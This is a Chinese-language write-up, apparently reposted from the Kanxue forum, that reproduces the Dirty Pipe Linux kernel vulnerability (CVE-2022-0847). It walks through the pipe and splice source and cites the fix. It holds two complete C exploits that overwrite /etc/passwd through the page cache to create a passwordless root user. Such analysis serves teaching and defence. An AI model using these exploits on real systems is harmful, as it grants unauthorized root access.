CVE-2022-0847 dirtypipe漏洞复现
2024-2-9 14:49:55 Author: mp.weixin.qq.com(查看原文) 阅读量:19 收藏


漏洞简介

漏洞发现者 Max Kellermann 并不是专门从事漏洞挖掘工作的,而是在服务器中多次出现了文件错误的问题,用户下载的包含日志的gzip文件多次出现CRC校验位错误, 排查后发现CRC校验位总是被一段ZIP头覆盖。
根据作者介绍, 可以生成ZIP文件的只有主服务器的一个负责HTTP连接的服务,但是该服务并没有写 gzip 文件的权限。即主服务器同时存在一个 writer 进程与一个 splicer 进程, 两个进程以不同的用户身份运行, splicer进程并没有写入writer 进程目标文件的权限, 但存在 splicer 进程的数据写入文件的 bug 存在。
有兴趣可以看看漏洞发现者写的原文(https://dirtypipe.cm4all.com/)。作者竟然是从一个小小的软件bug一步一步深挖到了内核漏洞,实在是佩服作者的这种探索精神。


环境准备

这里我按照自己复现准备的一个真实状态来写。
首先是准备一个被漏洞影响的版本内核,这里我使用了5.8.0-63-generic版本。本来之前打算直接Ubuntu20.04LTS一了百了,但是发现它内核有自动更新,下过来就是最新的,漏洞已经被修复了。所以这里直接用这个讲讲换这个内核的版本。
首先 apt 寻找这个版本:
apt-cache search linux | grep 5.8.0-63
然后我们在列表中寻一下:

再用 apt 安装这个内核:
sudo apt install linux-image-5.8.0-63-generic
安装完成之后,reboot重启,开机界面按shift+TAB进入 ubuntu 引导界面,然后选择高级选项advance,选择我们刚刚安装的那个内核进入启动。
成功替换指定的版本。


前置知识

pipe

匿名管道,用于作为一个读写数据的通道,参数给一个长度为 2 的int数组,并通过这个数组返回,创建成功则返回对应的读写描述符,一端只能用于读,一端只能写。
#include<fcntl.h>
#include<stdio.h>

int main(){
char buffer[10];
int pipe_fd[2]={-1,-1};
pipe(pipe_fd);
write(pipe_fd[1],"AAAA",4);
read(pipe_fd[0],buffer,4);
write(1,buffer,4);
}

Splice

splice用于在两个文件描述符之间移动数据, 也是零拷贝(https://bbs.kanxue.com/thread-280442.htm#ZeroCopy)
函数原型是 :
ssize_t splice(int fd_in, loff_t *off_in, int fd_out, loff_t *off_out, size_t len, unsigned int flags);
参数解释:
fd_in:输入文件描述符
fd_out:输出文件描述符
len:移动字节长度
flags:控制数据如何移动。
返回值:
>0:表示成功移动的字节数
==0:表示没有字节可以移动
<0:表示出现某些错误
#include<stdio.h>
#include<unistd.h>
#include<stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <assert.h>
#include <errno.h>
#include <string.h>
#include <fcntl.h>

int main(){
int pipe_fd[2]={-1,-1};
pipe(pipe_fd);
write(pipe_fd[1],"AAAA",4);
splice(pipe_fd[0],NULL,1,NULL,4,0);
}



Bug复现

做完上面两个前置芝士之后,应该能对 pipe 和 splice 稍微有点理解了,那么我们来复现一下 paper 上面说的 bug。把两个服务简化一下写出这两个程序:
创建一个tmpfileuser属主,权限 755。

#include<stdio.h>
#include<fcntl.h>
#include<unistd.h>
char file[]="./tmpfile";
int main(){
int p[2]={-1,-1};
int fd=open(file,O_WRONLY);
int i=2000;
while(i--){
write(fd,"AAAAA",5);
}
printf("write over\n");
}
下面这个是要准备去写之前准备的那个文件了。

#include<stdio.h>
#include<fcntl.h>
#include<unistd.h>
#include<string.h>
char file[]="./tmpfile";
int main(){

int p[2]={-1,-1};
int fd=open(file,O_RDONLY);
char buffer[4096];
memset(buffer,0,4096);
if(pipe(p))abort();
int nbytes1,nbytes2;
while(1){
nbytes1=splice(fd,NULL,p[1],NULL,5,0);
nbytes2=write(p[1],"BBBBB",5);
read(p[0],buffer,10);
if(nbytes1==0||nbytes2==0)break;
}
close(fd);
}

我们这么操作:先使用 user 用户创建一个tmpfile,运行p1文件。
在这个文件中我们写了 5000 个 A,并且权限归 user 所有,只有它有写的权限。
切换回 hacker 用户,运行 p2 文件,我们发现 tmpfile 中间居然出现了BBBBB
这就证明了这个漏洞的存在,这个漏洞的危害在于:只要文件可读,那我就可以写,这是非常危险的。
但是,我们不做任何操作,重启机器之后发现文件又变回了全 A 的状态。这说明,p2程序对tmpfile文件的修改仅存在于系统的页面缓存(page cache)中。
但是这个页面缓存在内核中,我们打开的文件会短暂停留在 page cache 当中,一段时间内我们打开的文件就相当于这个 page cache 的内容,所以我们更改了 page cache 其实也是可以达到修改文件的目的的。


exploit及分析

这里我根据了我自己对这个漏洞的理解写了一个便于我们获取 root 权限的 exploit。
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
#define PIPE_SIZE PAGE_SIZE*16

void SetCanMerge(int fd[2]){
char buf;
pipe(fd);
for(int i=0;i<PIPE_SIZE;i++){
write(fd[1],"a",1);
read(fd[0],&buf,1);
}
}

int main(){
int pipefd[2];
SetCanMerge(pipefd);
int fd=open("/etc/passwd",O_RDONLY);
splice(fd,NULL,pipefd[1],NULL,1,0);
write(pipefd[1],"oots:",5);
system("su roots");
}

一步一步分析一下它的 exp。
首先我用了一个SetCanMerge函数去填满pipe,这一步的作用是走完一遍pipe的缓冲区。pipe的缓冲区是以页为单位的,总共是 16 页的环形缓冲区。这一步就是去设置所有 page 的Can Merge属性。这个Can Merge标识了这个pipe能否被续写。
我们先来介绍一下续写的概念,续写就是说在我总共 16 页的缓冲区中,我写了一个字符,那么它会被存储在下标为 0 的页的首地址中,我第二次写的时候会写在哪里呢?两个选择,一个是紧跟着后面去写,第二个是在后一页去写,显然为了内存考虑我们大部分会选择紧跟着后面去写,因为总共 16 页,不可能我扔了 16 个字符进管道管道直接就满了。所以我们设置了一个flags,它们当中有一位就是标志了是否能在上面续写。
显然我一个一个往里面去丢字符,它肯定会把 16 个页都设置为可以续写,所以这一步就是把pipe缓冲区都设置为可续写。第二步我们打开了一个/etc/passwd文件,这个文件所有用户可读,只有root用户可写,我们以只读的方式打开它获得一个文件描述符,然后通过splice向管道中拷贝一个字节的内容。
这里的拷贝一个字节因为是零拷贝,所以它不是真正的拷贝,而是直接把缓存页给挂到了pipe缓冲区当中。然而此时Can Merge属性又存在,所以我们再往管道里写数据的时候,会因为Can Merge而直接写Page Cache绕过了权限检查。
于是我们向/etc/passwd的第二个字节起写上五个字节oots:,这样的话/etc/passwd的第一行变成了roots::...,原本第一行的内容为root:x:...,中间的x表示此用户有密码,而我们把x取消掉了,那么我们生成了一个 uid 为 0 且没有密码的用roots,那么我们通过su roots就能直接切换到root权限。


内核源码分析

调试环境搭建

这段时间搭建 Kernel Pwn 环境,刚好有时间来做一下源码分析,首先选取对应的内核版本,这里我用了 5.13.19。
首先环境搭建好建议先用 exp 去试试看看漏洞是否存在,这里我使用exp,的确是存在的。
那么我们就开始调试了。

这里提一嘴,我们编译的时候不要勾选Reducing Debugging Information,不然 vmlinux 将不含结构体信息,调试的难度会大大增加。

pipe源码分析

对于pipe来说,最重要的是读和写对应的调用,它们在内核层名为pipe_readpip_write,在/source/fs/pipe.c当中有完整的定义。

pipe_write

我们先来看看pipe_write函数完整的声明是:
static ssize_t pipe_write(struct kiocb *iocb, struct iov_iter *from);
我们一段一段来分析。
第一部分:
static ssize_t pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
struct file *filp = iocb->ki_filp;
struct pipe_inode_info *pipe = filp->private_data;
unsigned int head;
ssize_t ret = 0;
size_t total_len = iov_iter_count(from);
ssize_t chars;
bool was_empty = false;
bool wake_next_writer = false;


if (unlikely(total_len == 0))
return 0;

}

第一个分支是如果total_len==0则直接return 0,就是如果没有可写的数据,那么直接返回 0。
而中间的一个函数调用iov_iter_count仅仅是取得iov_iter中的count属性作为返回值,from望文生义可以理解为是数据从哪里来(from),如果来的数据个数为 0 那么直接结束这次调用。
第二部分:
static ssize_t pipe_write(struct kiocb *iocb, struct iov_iter *from)
{

__pipe_lock(pipe);

if (!pipe->readers) {
send_sig(SIGPIPE, current, 0);
ret = -EPIPE;
goto out;
}

#ifdef CONFIG_WATCH_QUEUE
if (pipe->watch_queue) {
ret = -EXDEV;
goto out;
}
#endif


head = pipe->head;
was_empty = pipe_empty(head, pipe->tail);
chars = total_len & (PAGE_SIZE-1);
if (chars && !was_empty) {
unsigned int mask = pipe->ring_size - 1;
struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
int offset = buf->offset + buf->len;

if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
offset + chars <= PAGE_SIZE) {
ret = pipe_buf_confirm(pipe, buf);
if (ret)
goto out;

ret = copy_page_from_iter(buf->page, offset, chars, from);
if (unlikely(ret < chars)) {
ret = -EFAULT;
goto out;
}

buf->len += ret;
if (!iov_iter_count(from))
goto out;
}
}

}

先给这个管道上锁,然后判断如果 pipe 对象的reader为 0,那么直接给进程发送一个SIGPIPE,通过查阅资料可得,大部分情况下,该信号会在写一个关闭一个socket对象时得到,那么这里同理,可能该管道已经关闭,但是仍往里面写数据。
随后这里的注释提到,如果给出的数据非空,那么尝试将新的数据写入缓冲区。随后这里进行一个判断,这里需要解释这里做的一个运算chars = total_len & (PAGE_SIZE-1);PAGE_SIZE通常情况下来说大小是4096,刚好是一个 2 的 12 次幂,那么再 -1 相当于就是二进制的 12 个 1,再用 & 运算就是取得total_len最低的 12 位,如果管道非空(环形队列判非空仅仅是判 tail 和 head是否相等),且写入长度最低 12 位为 0(这个判断等价于写入的长度不为页的整数倍,可以理解为是total_len % PAGE_SIZE!=0,但是取模运算挺浪费时间的所以转为位运算),那么执行这个分支。
在分支里面的运算中,先获取mask掩码,值为pipe->ring_size-1,其实跟前面取掩码差不多的道理,通常这个值是 16,也就是环形缓冲区的大小,通过调试输出也可以得到。
随后取得环形缓冲区的头部的前一个(循环队列通常是取模,这里head&mask同样等效于(head-1) % 16,至于为什么 -1,则是为了取得头部的前一个管道,来判断一下该管道是否可续写 )。
这里可以大胆猜测是在头部(head)写,尾部(tail)读。随后又进行一个判断buf->flags & PIPE_BUF_FLAG_CAN_MERGE是很常见的取标记位,可以理解为缓冲区PIPE_BUF_FLAG_CAN_MERGE设置为 1,这里其实就是前面讲的,判断缓冲区是否可续写,后面的再跟一个判断offset + chars <= PAGE_SIZE,这里也很好理解,chars 我们前面说了就是我本次写入长度对页大小的余数(除去这个长度,其余部分肯定是页大小的整数倍了),如果这个余数加上offsetPAGE_SIZE之内,简单点讲,就是该页可以续写,且余数部分写入该页不会造成溢出,则执行后面的分支。
那么紧接着一步,先判断pipe_buf_confirm,这个函数的定义如下:

static inline int pipe_buf_confirm(struct pipe_inode_info *pipe,
struct pipe_buffer *buf)
{
if (!buf->ops->confirm)
return 0;
return buf->ops->confirm(pipe, buf);
}
可以直接看给的注释,就是验证管道缓冲区的内容,这里向下再找一层找到这个成员函数confirm的定义说明。

int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *);
判断缓冲区的内容是否为 good,如果为 0 则是 good,其实我也没想到它内容能怎么检查,可能检查是否错误,不过通常来说这个错误不会发生。
随后会执行copy_page_from_iter(buf->page, offset, chars, from);,这一部分其实还是比较明显的,就是把数据的余数部分拷贝到缓冲区内,追加到 offset 之后,因为缓冲区里原本还有 offset 的数据。
通常来讲,拷贝了那么多,返回值一定也是那么多,随后校验返回值是否正确,然后给缓冲区长度加上拷贝的字节数。随后再提取要写的字节数,这里copy_page_from_iter肯定是会把 from 对象的 count 进行相应的减少的,所以如果后面没有数据了,那么直接结束就可以了。
第三部分:
这一部分是一个很大的 for 循环,我们来看一下。
static ssize_t pipe_write(struct kiocb *iocb, struct iov_iter *from)
{

for (;;) {
if (!pipe->readers) {
send_sig(SIGPIPE, current, 0);
if (!ret)
ret = -EPIPE;
break;
}

head = pipe->head;
if (!pipe_full(head, pipe->tail, pipe->max_usage)) {
unsigned int mask = pipe->ring_size - 1;
struct pipe_buffer *buf = &pipe->bufs[head & mask];
struct page *page = pipe->tmp_page;
int copied;

if (!page) {
page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT);
if (unlikely(!page)) {
ret = ret ? : -ENOMEM;
break;
}
pipe->tmp_page = page;
}


spin_lock_irq(&pipe->rd_wait.lock);

head = pipe->head;
if (pipe_full(head, pipe->tail, pipe->max_usage)) {
spin_unlock_irq(&pipe->rd_wait.lock);
continue;
}

pipe->head = head + 1;
spin_unlock_irq(&pipe->rd_wait.lock);


buf = &pipe->bufs[head & mask];
buf->page = page;
buf->ops = &anon_pipe_buf_ops;
buf->offset = 0;
buf->len = 0;
if (is_packetized(filp))
buf->flags = PIPE_BUF_FLAG_PACKET;
else
buf->flags = PIPE_BUF_FLAG_CAN_MERGE;
pipe->tmp_page = NULL;

copied = copy_page_from_iter(page, 0, PAGE_SIZE, from);
if (unlikely(copied < PAGE_SIZE && iov_iter_count(from))) {
if (!ret)
ret = -EFAULT;
break;
}
ret += copied;
buf->offset = 0;
buf->len = copied;

if (!iov_iter_count(from))
break;
}

if (!pipe_full(head, pipe->tail, pipe->max_usage))
continue;


if (filp->f_flags & O_NONBLOCK) {
if (!ret)
ret = -EAGAIN;
break;
}
if (signal_pending(current)) {
if (!ret)
ret = -ERESTARTSYS;
break;
}


__pipe_unlock(pipe);
if (was_empty)
wake_up_interruptible_sync_poll(&pipe->rd_wait, EPOLLIN | EPOLLRDNORM);
kill_fasync(&pipe->fasync_readers, SIGIO, POLL_IN);
wait_event_interruptible_exclusive(pipe->wr_wait, pipe_writable(pipe));
__pipe_lock(pipe);
was_empty = pipe_empty(pipe->head, pipe->tail);
wake_next_writer = true;
}

}

首先判断 reader 是否有效。随后判管道是否慢,不满则向下执行,其实判满的条件仅仅是head-pipe->tail>=pipe->max_usage。其实这里的max_usage大概率也是常量 16,验证一下,果然如此。
其实这里也不是很明白为什么一样的常量要用两个代替,客观来说,这两者意思是差不多的。然后分析一下如果不满的情况,先分配一个临时页。随后spin_lock_irq(&pipe->rd_wait.lock);上读的锁spin_lock_irq的宏定义其实就是上锁,可以再源码中找到。
#define spin_lock_irq(x) pthread_mutex_lock(x)
意思其实就是写的时候不能读,防止调度问题读在写之前发生了。
随后判断,如果管道满,那么解锁直接下次循环,如果管道不满,则 head 向前,将分配的页面插入到这个缓冲区内,并初始化这个缓冲区(len和offset都置零)。
is_packetized 应该是判断这个是否为网络数据包,如果是则设置标志位,否则设置标志位为可续写。用完这个页之后,把临时页指针置空防止被重复用到。随后拷贝一个页从 from 过来,后面当然也是判断拷贝的字节是否为一个页的大小。随后该缓冲区的 offset 置零,len 置为页的大小。如果没有要拷贝的数据了,则直接退出。
如果管道不满则继续如上流程,否则判断,如果管道设置为不能阻塞(O_NONBLOCK),则直接返回错误,否则挂起当前进程,等待数据被读走有空间。
随后释放管道的锁,允许其他线程或进程访问管道。如果在锁被释放之前管道为空,唤醒等待读取的进程。这通过调用wake_up_interruptible_sync_poll函数实现。
#define wake_up_interruptible_sync_poll(x, m) \
__wake_up_sync_key((x), TASK_INTERRUPTIBLE, poll_to_key(m))
接下来向管道的异步读取进程发送SIGIO信号,通知它们有新的数据可用。wait_event_interruptible_exclusive(pipe->wr_wait, pipe_writable(pipe));用于判断管道是否可写,否则阻塞在这里,然后重新获取管道的锁,标记下一个写入者需要唤醒。
这就是这一段代码的所有操作。
最后一部分:
static ssize_t pipe_write(struct kiocb *iocb, struct iov_iter *from)
{

out:
if (pipe_full(pipe->head, pipe->tail, pipe->max_usage))
wake_next_writer = false;
__pipe_unlock(pipe);


if (was_empty || pipe->poll_usage)
wake_up_interruptible_sync_poll(&pipe->rd_wait, EPOLLIN | EPOLLRDNORM);
kill_fasync(&pipe->fasync_readers, SIGIO, POLL_IN);
if (wake_next_writer)
wake_up_interruptible_sync_poll(&pipe->wr_wait, EPOLLOUT | EPOLLWRNORM);
if (ret > 0 && sb_start_write_trylock(file_inode(filp)->i_sb)) {
int err = file_update_time(filp);
if (err)
ret = err;
sb_end_write(file_inode(filp)->i_sb);
}
return ret;
}

如果管道满,下一个写者不需要唤醒(因为唤醒了也是阻塞)随后释放锁。后面一段代码跟前面for的后面差不多,主要有一个更新文件的操作,先获取文件写锁,然后再更新文件的时间戳,最后释放该锁。
总结:整个管道写的代码就分析的差不多了,小结一下流程。
1.若管道不为空且写入的数据长度不为 PAGE_SIZE的整数倍,那么尝试续写。
2.否则将数据按页拷贝到管道上面,期间可能会挂起进程等待读者取数据。
3.最后更新管道写的文件。
可能会有一个疑问,那就是如果管道为空且长度不为 PAGE_SIZE 整数倍那么它按页拷贝会不会导致拷贝不出 PAGE_SIZE 大小的数据,这里我猜测,copy_page_from_iter确实是这样的,不足PAGE_SIZE的数据填充 0 直接拷贝过来,就不续写了。
事实如何还得稍后深入分析copy_page_from_iter的源码。

pipe_read

读的源码其实非常简单,我们同样也来一点一点分析。
第一部分:
static ssize_t
pipe_read(struct kiocb *iocb, struct iov_iter *to)
{
size_t total_len = iov_iter_count(to);
struct file *filp = iocb->ki_filp;
struct pipe_inode_info *pipe = filp->private_data;
bool was_full, wake_next_reader = false;
ssize_t ret;


if (unlikely(total_len == 0))
return 0;

ret = 0;
__pipe_lock(pipe);


was_full = pipe_full(pipe->head, pipe->tail, pipe->max_usage);

}

依然先特判读取长度是否为 0。然后锁上管道,判断管道是否满。
第二部分:
static ssize_t
pipe_read(struct kiocb *iocb, struct iov_iter *to)
{
for (;;) {
unsigned int head = pipe->head;
unsigned int tail = pipe->tail;
unsigned int mask = pipe->ring_size - 1;

#ifdef CONFIG_WATCH_QUEUE
if (pipe->note_loss) {
struct watch_notification n;

if (total_len < 8) {
if (ret == 0)
ret = -ENOBUFS;
break;
}

n.type = WATCH_TYPE_META;
n.subtype = WATCH_META_LOSS_NOTIFICATION;
n.info = watch_sizeof(n);
if (copy_to_iter(&n, sizeof(n), to) != sizeof(n)) {
if (ret == 0)
ret = -EFAULT;
break;
}
ret += sizeof(n);
total_len -= sizeof(n);
pipe->note_loss = false;
}
#endif

if (!pipe_empty(head, tail)) {
struct pipe_buffer *buf = &pipe->bufs[tail & mask];
size_t chars = buf->len;
size_t written;
int error;

if (chars > total_len) {
if (buf->flags & PIPE_BUF_FLAG_WHOLE) {
if (ret == 0)
ret = -ENOBUFS;
break;
}
chars = total_len;
}

error = pipe_buf_confirm(pipe, buf);
if (error) {
if (!ret)
ret = error;
break;
}

written = copy_page_to_iter(buf->page, buf->offset, chars, to);
if (unlikely(written < chars)) {
if (!ret)
ret = -EFAULT;
break;
}
ret += chars;
buf->offset += chars;
buf->len -= chars;


if (buf->flags & PIPE_BUF_FLAG_PACKET) {
total_len = chars;
buf->len = 0;
}

if (!buf->len) {
pipe_buf_release(pipe, buf);
spin_lock_irq(&pipe->rd_wait.lock);
#ifdef CONFIG_WATCH_QUEUE
if (buf->flags & PIPE_BUF_FLAG_LOSS)
pipe->note_loss = true;
#endif
tail++;
pipe->tail = tail;
spin_unlock_irq(&pipe->rd_wait.lock);
}
total_len -= chars;
if (!total_len)
break;
if (!pipe_empty(head, tail))
continue;
}

if (!pipe->writers)
break;
if (ret)
break;
if (filp->f_flags & O_NONBLOCK) {
ret = -EAGAIN;
break;
}
__pipe_unlock(pipe);


if (unlikely(was_full))
wake_up_interruptible_sync_poll(&pipe->wr_wait, EPOLLOUT | EPOLLWRNORM);
kill_fasync(&pipe->fasync_writers, SIGIO, POLL_OUT);


if (wait_event_interruptible_exclusive(pipe->rd_wait, pipe_readable(pipe)) < 0)
return -ERESTARTSYS;

__pipe_lock(pipe);
was_full = pipe_full(pipe->head, pipe->tail, pipe->max_usage);
wake_next_reader = true;
}

}

紧接着跟一个for循环,中间包着一个宏可以不用管,这个应该没有编译进去。
先判是否非空,如果非空说明可以读数据,这里也不赘述取尾部缓冲区的操作了,不明白可以看前面的详细讲解。取出来之后呢,判断,如果该缓冲区数据的长度大于读取字节数chars > total_len,那么说明这个缓冲区的数据已经够了,读取所需要的字节数就不需要管了,中间判一个标记字段,如果设置了这个标记且还没有读过数据(ret==0)那么报错退出,如果仅仅设置了标记,那么就直接 break。若没设置,则将取出的缓冲区长度设置为读取长度chars=total_len
随后再判一下缓冲区内容是否 good,将整个缓冲区拷贝给用户。若total_len>chars,则拷贝chars(缓冲区长度),否则把
chars设置为要读取的总长度并读取这么多。
然后设置一下缓冲区的offsetlen,其实这里差不多可以理解offsetlen字段的具体含义了。
◆len:缓冲区还有多少数据。
◆offset:缓冲区的数据从哪里开始。
紧接着判,如果是一个分组管道,也就是网络管道,那么清除整个页并直接退出。
后面判断,如果读取完成之后缓冲区没数据了(同时,网络管道在这里设置为 0 就一定可以进这个分支),那么直接清除这个页。随后上读锁,让tail++。如果没有要读取数据了,那么退出,随后看看如果还有要读取数据且管道不为空,则继续循环(continue)。
之后的分支都是处理管道为空的情况,不管是经历了一次读或者没有经历过读,都到这里来。判断写者还在不在,如果不在那么退循环,已经读取了若干数据也退循环,主要是没有经历过读ret==0,那么在这里就一定能要给它一点数据,倘若管道设置为不能阻塞O_NONBLOCK,那么直接返回错误。
后面的其实跟写差不多,但是这里有点不太明白,如果到这里没有读出数据的话,大概率是管道为空。那么需要唤醒写者来写些数据上去。如果管道满,那么唤醒下一个读者。
第三部分:
static ssize_t
pipe_read(struct kiocb *iocb, struct iov_iter *to)
{

if (pipe_empty(pipe->head, pipe->tail))
wake_next_reader = false;
__pipe_unlock(pipe);

if (was_full)
wake_up_interruptible_sync_poll(&pipe->wr_wait, EPOLLOUT | EPOLLWRNORM);
if (wake_next_reader)
wake_up_interruptible_sync_poll(&pipe->rd_wait, EPOLLIN | EPOLLRDNORM);
kill_fasync(&pipe->fasync_writers, SIGIO, POLL_OUT);
if (ret > 0)
file_accessed(filp);
return ret;
}

如果管道为空,那么不唤醒下一个读者。最后就是判断如果读取字节大于0,那么更新文件访问时间。
总结
1.遍历循环队列的列,如果能全读那么全读整个页并释放该页数据,并继续下个页的遍历。
2.长度不足以读完整个页,那么读部分直接退出。
3.根据管道情况选择唤醒读者或者写者。

EXP重写方案

前面写的 EXP 虽然能成功,但是还不够完善,因为经过调试之后,发现set_can_merge这里不需要遍历整个 pipe 缓冲区,正如前面分析的,如果管道为空或者读取字节为PAGE_SIZE整数倍,那么都直接复制页,不选择续写,所以我们连着读写 16 次就可以给所有的缓冲区打上PIPE_BUF_FLAG_CAN_MERGE标志。
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
#define PIPE_SIZE 16

void SetCanMerge(int fd[2]){
char buf;
pipe(fd);
for(int i=0;i<PIPE_SIZE;i++){
write(fd[1],"a",1);
read(fd[0],&buf,1);
}
}

int main(){
int pipefd[2];
SetCanMerge(pipefd);
printf("[+]set all pipe page can merge done\n");
int fd=open("/etc/passwd",O_RDONLY);

int ret=splice(fd,NULL,pipefd[1],NULL,1,0);
printf("[+]splice done,return value=%d\n",ret);
write(pipefd[1],"oots:",5);
system("su roots");
}

splice分析

同样使用上述 EXP,等到执行splice(fd,NULL,pipefd[1],NULL,1,0)
这里我们在do_splice_to函数下断点,然后直接运行,continue直接走完 16 次的读写。
最后调试的时候可以发现:
这里一部分将文件页挂在管道上。
这里发现管道的 head 值已经是 17 了,说明文件页挂在了 16 的位置(也就是 0 )。
此时发现,管道不为空,写入字节不为PAGE_SIZE整数倍,因此进入这个 if 分支。
此时因为前面的填充,导致这个缓冲区一直带着PIPE_BUF_FLAG_CAN_MERGE属性,并且在刚刚的 splice 当中并没有消除这个位。因此我们写可以跟着这个文件页后面写。
这里也是可以看到文件成功被写入了。我们创造了一个没有密码的 uid=0 的用户,所以可以直接 su 切换。


总结

这个漏洞利用的前提是:文件是可读的,我们需要通过零拷贝,把文件页挂在管道上,并且文件第一个字节不可写,因为我们需要至少一个字节的拷贝才能让文件页挂在管道缓冲区。随后写入字节不能为 PAGE_SIZE 的整数倍,否则不能续写。
所以这个漏洞基本可以认为是,只要具有读权限,基本就可以写这个文件了,因此我们修改 passwd 配置提权。

修复方案

究其原因,pipe缓冲区在使用的时候,没有初始化 flag 字段,这个问题在很早版本前就引入了,到Linux 5.8 版本后,将各种类型的 pipe 缓冲区结构体合并之后,就引入了这个 bug。
修复这个问题只需要初始化 flag 字段即可,可以在github的提交上看到这次更新https://github.com/torvalds/linux/commit/9d2231c5d74e13b2a0546fee6737ee4446017903。

看雪ID:xi@0ji233

https://bbs.kanxue.com/user-home-919002.htm

*本文为看雪论坛精华文章,由 xi@0ji233 原创,转载请注明来自看雪社区

# 往期推荐

1、区块链智能合约逆向-合约创建-调用执行流程分析

2、在Windows平台使用VS2022的MSVC编译LLVM16

3、神挡杀神——揭开世界第一手游保护nProtect的神秘面纱

4、为什么在ASLR机制下DLL文件在不同进程中加载的基址相同

5、2022QWB final RDP

6、华为杯研究生国赛 adv_lua

球分享

球点赞

球在看

点击阅读原文查看更多


文章来源: https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458542078&idx=2&sn=22aca750989aae8fbb450c1e1766314a&chksm=b18d6f7486fae66295e12b94038872a1bf2bf01daefd7bcbcd8d908724482e46cc23b554d1da&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh